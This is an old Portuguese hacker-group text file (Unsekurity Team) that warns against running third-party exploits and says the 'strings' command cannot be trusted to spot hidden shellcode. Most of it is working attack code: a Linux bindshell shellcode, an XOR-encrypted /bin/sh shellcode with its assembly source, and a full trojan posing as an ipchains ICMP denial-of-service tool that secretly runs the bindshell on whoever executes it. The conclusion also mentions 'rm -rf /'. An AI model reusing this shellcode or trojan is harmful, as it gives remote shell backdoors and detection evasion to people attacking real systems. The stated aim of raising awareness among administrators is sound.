**************************************************************************
*************************** UNSEKURITY TEAM ******************************
**************************************************************************


Artigo para expor o perigo que eh executar exploits de terceiros.
Desenvolvido por Nash Leon vulgo coracaodeleao.
nashleon@yahoo.com.br

Este e outros artigos podem ser obtidos em:
http://unsekurity.virtualave.net/

OBS: Este texto possui somente propositos educacionais.O autor nao se
     responsabiliza pelo mau uso dos dados e exemplos aqui fornecido.

		     ******************************
		     *    PASSANDO POR STRINGS    *
		     ******************************

---------------------------------- INDICE ----------------------------------

1 - INTRODUCAO
    1.1 - O Perigo
2 - EXEMPLOS DE SHELLCODES
    2.1 - Bindshell
    2.2 - Encriptando um Shellcode
    2.3 - Exemplo de Trojan Horse
3 - TERMINANDO
    3.1 - Links e Referencias
    3.2 - Consideracoes Finais

--------------------------------------------------------------------------

---------------
1 - INTRODUCAO |
---------------

Algum tempo atras foi discutido numa mail list de seguranca os perigos que
um admin ou mesmo um kiddie se expoe quando executa exploits de terceiros
como root.Uma solucao proposta foi usar o programa "strings" para analisar
o conteudo do shellcode.Mas a realidade eh que shellcodes encriptados jah
existem ha varios anos, de modo que confiar no programa strings eh assumir 
um risco incalculavel.Escritores(programadores) de shellcodes sabem
realmente que nao se deve executar exploits de terceiros, e no decorrer
deste artigo, isso serah bem evidenciado.Nao pretendo ensinar a escrever
shellcodes, jah publiquei dois tutoriais sobre escrita basica de shellcodes
em arquitetura i386 para Linux.Qualquer duvida consulte-os, bem como os
links que disponibilizo nos mesmos.Conhecimentos basicos de Linux e C
se faz necessario.

1.1 - O Perigo
---------------

Escrever shellcodes nao eh nada facil, mas tambem nao eh coisa de outro
mundo.Essa tecnica tem sido praticada e dominada por muita, muita gente.
Um cracker poderia facilmente comprometer um sistema atraves de shellcodes
em exploits para buffer overflows.O que veremos aqui eh somente os trojans.
Estes trojans podem vir inseridos em exploits para buffer overflows, ou
mesmo em Exploits Denial of Services(dentro dos datagramas).Um administrador
de redes com boa experiencia conhece esse risco e procura tornar mais pessoas
concientes quanto a esse perigo.Eh comum nas redes brasileiras, administradores
de rede e analistas de seguranca nao possuirem conhecimentos basicos de
Assembly,escrita de shellcodes e C, executando testes com exploits difundidos
na Internet.O que vou expor nesse artigo eh um fato, voce executando
exploits de terceiros sem ter plena conciencia do codigo estah sim correndo
risco!

---------------------------
2 - EXEMPLOS DE SHELLCODES |
---------------------------

Nesse item, irei disponibilizar alguns esquemas de shellcodes e trojans
visando demonstrar de forma clara o perigo no uso de programas de
terceiros.

2.1 - Bindshell
----------------

Existe um shellcode muito conhecido e difundido que 'passa' pela percepcao
do comando 'strings' facilmente.Se trata do shellcode que binda uma shell
a uma porta do Taeho Oh:


----------------------------bindshell.c----------------------------------
/* Shellcode que binda uma shell a uma porta alta(30464). */

#include <stdio.h>
#include <stdlib.h>

char shellcode[]=
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
"\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
"\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
"\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
"\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
"\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
"\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
"\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
"\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";

main(){
int *retorno;
retorno = (int *)&retorno + 2;
(*retorno) = (int)shellcode;
}

----------------------------------------------------------------------

Compile esse shellcode, execute-o e depois analise com o comando strings.
Voce verah que somente por esse comando voce nao estaria apto a reconhecer
o que de fato ele estarah executando.Executando esse shellcode como usuario
root ou nao, o efeito dele eh o mesmo, pois portas altas(maiores que 1024)
qualquer usuario pode abrir.Esse exploit foi(tem sido) muito usado em trojans
de exploits.Mas, no fundo, o perigo representado por ele, eh muito
superficial quando comparado a outros, alem de possuir suas limitacoes.


2.2 - Encriptando um Shellcode
-------------------------------

Uma tecnica usada para 'fugir' da percepcao do comando strings, eh a 
encriptacao do shellcode.O comando strings procura ver as strings que
estao dentro do shellcode, e o que ocorre quando se encripta um shellcode,
eh que a string que aparece usando o comando 'strings' eh algo ininteligivel.
Veremos alguns exemplos de shellcodes usando a criptografia de manipulacao
de bits XOR.

A criptografia de manipulacao de bits consiste tao somente em alterar ou
inverter determinados bits atraves de operadores logicos.O operador logico
XOR eh capaz de realizar uma operacao envolvendo os bits de um determinado
caracter, ou instrucao, e uma tabela verdade.O XOR(ou exclusivo) obedece a
seguinte tabela verdade:

^ | 0 | 1
----------
0 | 0 | 1
1 | 1 | 0

Em outras palavras, o resultado do XOR eh verdade se e somente se um
operando eh verdadeiro e o outro eh falso.Isto dah ao XOR uma propriedade
unica; se voce aplicar XOR a um byte com outro byte chamado 'chave', e
aplicar o resultado desta operacao a uma nova operacao XOR com a mesma
chave, o resultado serah o byte original.Por exemplo:

    1  1  0  1      1  0  0  1 ---------------
^   0  1  0  1      0  0  1  1  (Chave)       |
    ------------------------------------      |
    1  0  0  0      1  0  1  0                |
                                              | _______ Sao iguais.
                                              |
    1  0  0  0      1  0  1  0                |
^   0  1  0  1      0  0  1  1  (Chave)       |
    ------------------------------------      |
    1  1  0  1      1  0  0  1 ---------------


Para encriptar um shellcode a partir de um shellcode pre-definido, devemos
seguir os seguintes passos:

+ Pegar a representacao binaria de cada caracter do comando a executar:

/  ->   101111
b  ->  1100010
i  ->  1101001
n  ->  1101110
/  ->   101111
s  ->  1110011
h  ->  1101000

+ Pegar a representacao binaria da chave a ser usada para criptografar:

U  ->  1010101

Escolhi U por ser a inicial do Unsekurity Team..:). Sua representacao em
hexadecimal eh 55.

+ Efetuar uma comparacao com base na tabela verdade entre cada binario
  do caracter da string do comando desejado mais a chave a ser usada e
  pegar assim o binario correspondente:

/  ->   101111
U  ->  1010101
---------------
       1111010  -> 7A em hexa, z em ascii.

b  ->  1100010
U  ->  1010101
---------------
       0110111  -> 37 em hexa, 7 em ascii.

i  ->  1101001
U  ->  1010101
---------------
       0111101  -> 3C em hexa, < em ascii.

n  ->  1101110
U  ->  1010101
---------------
       0111011  -> 3B em hexa, ; em ascii.

/  ->   101111
U  ->  1010101
---------------
       1111010  -> 7A em hexa, z em ascii.

s  ->  1110011
U  ->  1010101
---------------
       0100110  -> 26 em hexa, & em ascii.

h  ->  1101000
U  ->  1010101
---------------
       0111101  -> 3D em hexa, = em ascii.


Entao, a comparacao da string antes e depois segue abaixo:

		Antes  		Depois
               -------	      ---------
	       /bin/sh         z7<;z&=

Esquisito, nao? Vejamos como fazer um shellcode para isso com base no
shellcode feito pelo lamagra:

        xorl    %eax,%eax         # Reseta EAX
        jmp     0x22              # Salta para 0x22
        popl    %ebx              # retira EBX(string) do stack.
        movl    8(%ebx),%edx      # copia string encriptada para EDX.
        xor     %edx,(%ebx)       # OU logico em EDX e 0(EBX).
        xor     %edx,4(%ebx)      # Desencripta o shellcode
        xor     %edx,%edx         # Reseta EDX.
        movl    %ebx,0x8(%esp)    # copia /bin/sh para 0x8(%esp)
        movl    %edx,0xc(%esp)    # copia /bin/sh + null word long p/ 0xc(%esp)
        movb    $0xb,%al          # copia execve(11) para AL.
        leal    0x8(%esp),%ecx    # copia o end. de /bin/sh sobre ECX.
        int     $0x80             # Sai para modo kernel.
        xorl    %ebx,%ebx         # Reseta EBX.
        movl    %ebx,%eax         # copia EBX para EAX.
        incl    %eax              # incrementa EAX(1 = exit).
        int     $0x80             # sai para modo kernel.
        call    -0x27             # chama -0x27.
        .string  "\x7a\x37\x3c\x3b\x7a\x26\x3d\x55\x55\x55\x55\x55"


Veremos entao como fica o shellcode num .c:

----------------------------- nlscrypt.c ----------------------------------- 

/* Shellcode encriptado com base no do lamagra.
   Desenvolvido por Nash Leon.
   nashleon@yahoo.com.br
*/

char shellcode[] =

"\x31\xc0\xeb\x22\x5b\x8b\x53\x08\x31\x13\x31\x53\x04\x31\xd2\x89"
"\x5c\x24\x08\x89\x54\x24\x0c\xb0\x0b\x8d\x4c\x24\x08\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff"
"\x7a\x37\x3c\x3b\x7a\x26\x3d\x55" /* /bin/sh encriptado */
"\x55\x55\x55\x55"; /* Chave conversora */

main(){
int *retorno;
retorno = (int *)&retorno + 2;
(*retorno) = (int)shellcode;
}

----------------------------------------------------------------------------

Compile ele normalmente e em seguida use o comando strings.Verah que o que
aparece eh o seguinte:

....
GLIBC_2.0
PTRh
z7<;z&=UUUUU
init.c
...

O que interessa eh a seguinte linha 'z7<;z&=UUUUU'.Para quem manja ou nao 
de criptografia fica meio complicado realmente saber o que se estah
executando atraves de um shellcode deste tipo.
Esta eh a criptografia mais basica que existe.Existem 'permutacoes' que
envolvem os varios tipos de criptografia por manipulacao de bits que
realmente dificulta ainda mais ter a 'certeza' do que o shellcode
realmente estah executando.

Abaixo segue um escopo deste programa em ASM, mais detalhado para 
facilitar ainda mais a compreensao:


----------------------------- sc_escopo.s --------------------------------

.data

normal:

        .string "\x7a\x37\x3c\x3b\x7a\x26\x3d\x55\x55\x55\x55"
.text
        .align 4
_start:

        movl    $normal, %ebx    # Copia a string toda para EBX.

        movl    7(%ebx),%edx     # copia /bin/sh encriptado para EDX.
        xor     %edx,0(%ebx)     # xor em EDX e EBX + 0.
        xor     %edx,4(%ebx)     # desencripta.

        xor     %edx,%edx        # reseta EDX.
        movl    %ebx,0x7(%esp)   # cp /bin/sh para EBX.
        movl    $0x0,0xb(%esp)   # cp NULL para 0xb(%esp).
        movb    $0xb,%al         # execve()
        leal    0x7(%esp),%ecx   # copia endereco de /bin/sh para ECX.
        int     $0x80            # Sai para modo kernel.
        movl    $0x0, %ebx       #
        movl    $0x1, %eax       # exit(0)
        int     $0x80            # Sai para modo kernel.

---------------------------------------------------------------------------

Se quiser testar o esquema acima, execute:

# as -o sc_escopo.o sc_escopo.s
# ld -s -o sc_escopo sc_escopo.o
# ./sc_escopo

Lembrando que o escopo acima eh soh para demonstracao, eu disponibilizei
um texto com alguns exemplos em ASM para fucadores que pode ser obtido
na pagina do Unsekurity Team, lah existem detalhes quanto a escrever
programas em Assembly usando o GCC, o exemplo acima estah em GAS(GNU
Assembler), nao consegui porta-lo para o GCC, creio que exista um pequeno
problema com 'xor %edx, 0(%ebx)', nao tive tempo para analisar isto.


2.3 - Exemplo de Trojan Horse
------------------------------

Os possiveis esquemas usando trojans em shellcodes sao infindaveis.
Existem trojans super maldosos, mas por razoes eticas, irei ficar somente
num simples exemplo nao tao malicioso.Mas se voce jah viu acima o esquema
para criptografar um shellcode, entao, jah sabe perfeitamente que eh
possivel ir bem mais longe.Abaixo segue um exemplo de trojan horse comum
que eu jah havia disponibilizado no tutorial sobre backdoors e trojans
horse:

------------------------------ trojan.c --------------------------------

/* EXEMPLO DE TROJAN HORSE VIA DADOS EM HEXADECIMAL.
   FEITO POR NASHLEON PARA TUTORIAL SOBRE TROJANS.
   nashleon@yahoo.com.br.
   O tutorial pode ser encontrado em:
   http://unsekurity.virtualave.net/

   Esse Trojan segue em "anexo" dentro de um pseudo-datagrama.
   Como esse exemplo de DoS eh RAW Sockets, necessita ser root.
   Isso expoe o perigo eminente de nao saber o que se estah executando.
   Esse programa possui somente propositos educacionais.
*/

/* Aqui comeca a "brincadeira" !!
   Programa Denial Of Service para "ipchains".
   Derruba qualquer sistema Linux com kernel ateh "2.3.39".
   Ele envia um datagrama que explora o bug da funcao get_data()
   do ipfw.Se o sistema nao tiver com firewall, ele derruba do mesmo
   jeito! */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

#define     ERRO        -1
#define     TAM_IPHDR   sizeof(struct iphdr)
#define     TAM_ICMPHDR sizeof(struct icmphdr)
#define     NUM_PAC     100

char datagrama[]=
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
"\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
"\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
"\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
"\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
"\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
"\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
"\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
"\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";

typedef void (*DoS)();
main(int argc, char *argv[]){
int i, Meusocket,num_pac, id, seq;
char *hosthack, *alvo;
struct sockaddr_in vitima;
struct sockaddr_in hacker;
unsigned long int origem;
unsigned long int destino;
DoS envia;
if(argc < 3){
printf("Programa DoS para Ipchains!!\n");
printf("Uso: %s <ip_origem> <ip_alvo>\n",argv[0]);
exit(0);
}
if(getuid() != 0){
printf("Esse programa usa RAW SOCKS, necessita ser root!!\n");
exit(0);
}
hosthack = argv[1];
alvo = argv[2];
num_pac = NUM_PAC;
Meusocket = socket(AF_INET,SOCK_RAW,1);
if(Meusocket < 0){
fprintf(stderr,"Erro em socket() mano!!\n");
exit(ERRO);
}
vitima.sin_family = AF_INET;
vitima.sin_addr.s_addr = inet_addr(alvo);
bzero(&(vitima.sin_zero), 8);
memset(argv[0],0,100);
hacker.sin_family = AF_INET;
hacker.sin_addr.s_addr = inet_addr(hosthack);
bzero(&(hacker.sin_zero),8);
origem = hacker.sin_addr.s_addr;
destino = vitima.sin_addr.s_addr;
id = 0;
seq = 0;

for(i = 0; i < num_pac; i++){
icmp_echo(Meusocket, origem, destino, id,seq,datagrama,sizeof(datagrama));
printf(".");
}
printf("\nPacotes Enviados com sucesso!!\n");
envia=(DoS)(datagrama);
envia();
return 0;
}
/* Checksum */
unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft  = len;
    register u_short *w = addr;
    register int sum    = 0;
    u_short answer      = 0;

    while (nleft > 1)  {
        sum   += *w++;
        nleft -= 2;
    }

    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }

    sum    = (sum >> 16) + (sum & 0xffff);
    sum   += (sum >> 16);
    answer = ~sum;
    return(answer);
}
icmp_echo(int Meusocket, unsigned long int origem, unsigned long int
         destino, int id, int seq, char *data, unsigned int datasize)
{
  unsigned char        *pacote;
  unsigned char        *icmpdata;
  struct   iphdr       *ip;
  struct   icmphdr     *icmp;
  struct   sockaddr_in vitima;
  int N;

  pacote = (char *)malloc(TAM_IPHDR + TAM_ICMPHDR + datasize + 1);
  if (pacote == NULL) {
        perror("malloc");
        exit(ERRO);
  }
  ip       = (struct iphdr   *)pacote;
  icmp     = (struct icmphdr *)(pacote + TAM_IPHDR);
  icmpdata = (char           *)(pacote + TAM_IPHDR + TAM_ICMPHDR);

  ip->saddr              =  origem;
  ip->daddr              =  destino;
  ip->version            =  4;
  ip->ihl                =  5;
  ip->ttl                =  255;
  ip->protocol           =  1;
  ip->tot_len            =  htons(TAM_IPHDR + TAM_ICMPHDR + datasize);
  ip->tos                =  0;
  ip->id                 =  0;
  ip->frag_off           =  0;
  ip->check              =  0;
  ip->check              =  in_cksum(ip, TAM_IPHDR);

  icmp->type             =  8;
  icmp->code             =  0;
  icmp->checksum         =  0;
  icmp->un.echo.id       =  id;

  icmp->un.echo.sequence =  seq;

  memcpy(icmpdata, data, datasize);

  icmp->checksum          = in_cksum(icmp, TAM_ICMPHDR + datasize);

  vitima.sin_addr.s_addr = ip->daddr;
  vitima.sin_family      = AF_INET;

N =sendto(Meusocket, pacote, TAM_IPHDR + TAM_ICMPHDR + datasize, 0,(struct
        sockaddr *)&vitima, sizeof(struct sockaddr));
if (N == ERRO) {
                perror("sendto()");
                free(pacote);
                exit(ERRO);
  }
  free(pacote);
}
--------------------------------------------------------------------------

Este eh um exemplo que se utilizada de um datagrama.O shellcode eh o do
Taeho Oh, e a porta eh a padrao, amplamente difundida na WEB.Eu havia
falado que iria disponibilizar um 'trojan pesado' encriptado, mas achei
melhor nao, deixa fluir mais a divulgacao dos tutoriais, ainda pretendo
dar continuidade ao Tutorial de Escrita de Shellcodes, talvez, dependendo
da situacao eu venha a disponibilizar algo mais quente lah, mas entendendo
a logica que envolve a encriptacao, voce estarah apto a escrever
shellcodes trojans mais perigos, mas lembre-se: "NAO FACA BOBAGENS".
Recomendo a leitura da primeira parte do Tutorial de Backdoors e Trojans
Horses para entender o porque de se evitar usar 'Trojans Horses' em
atividades fucadoras.


---------------
3 - TERMINANDO |
---------------

O que eu espero ter ficado claro, eh que voce nao deve ir executando 
exploits de terceiros como root.Nao confie no comando 'strings', vah mais
alem, use-o e se voce perceber que um shellcode estah encriptado pense
seriamente se vale a pena ou nao correr o risco.Acrescente um alias em
seu sistema proibindo a execucao de '/bin/rm -rf /' ou qualquer outro
programa nocivo ao seu sistema,talvez um redirecionamento seja uma boa.
Execute sempre os programas como usuario comum antes, mesmo que este
requira ser root, para que possa analisar o que de fato estah acontecendo
em seu sistema.O mais importante ao meu ver eh analisar o codigo, fique
atento as chamadas das funcoes, e o relacionamento de ponteiros com o
shellcode.Aprenda mano!! Aprendendo voce nao necessitarah executar 
exploits de terceiros.

3.1 - Links e Referencias
--------------------------

Recomendo a leitura dos dois tutoriais basicos de escrita de shellcodes
e do texto com exemplos codigos Assembly feito por mim, que podem ser
encontrados em:

http://unsekurity.virtualave.net/

* Mais sobre Shellcode:

http://www.phrack.com/ -> Procure P49-14.
http://www.bufferoverflow.org/ -> Procure o tool sc.tgz.
http://packetstorm.securify.com/ -> Procure por shellcode SDI.
                                    Procure por adv.buffer.overflow.txt.


* Home Page Atual do Unsekurity Team:

http://unsekurity.virtualave.net/

* Outros Links Interessantes:

http://www.hacker.com.br/
http://www.taldowin.com.br/
http://www.securenet.com.br/
http://www.absoluta.org/
http://www.bufferoverflow.org/

3.2 - Consideracoes Finais
---------------------------

Alguns mitos estao sendo desmistificados.. Como tenho dito, aos poucos
a gente vai demonstrando a inutilidade de algumas 'ferramentas de
seguranca', fique atento aos artigos do Unsekurity Team, em breve deve
ser disponibilizado mais material.A recepcao ao 'trabalho' que o
Unsekurity Team vem desenvolvendo tem sido boa, as criticas tambem, muito
construtivas, e temos amadurecido cada vez mais.Temos muito a passar ainda,
e aprender tambem, soh que o inimigo tempo tem desgastado a todos.Temos
priorizado algumas coisas, entao, amigo, se voce estah a espera de algum
txt, seja paciente.De uma olhada no Forum do Unsekurity Team, lah, estamos
passando URLs aonde se pode achar material sobre varias coisas, inclusive
coisas mais avancadas sobre buffer overflows, Assembly e etc. 

Gostaria de Agradecer ao pessoal do Unsekurity Team e a todos que tem
entrado em contato comigo, seja via e-mail ou irc.

Um Abraco.

					         Nash Leon

--------------------------------- EOF ------------------------------------
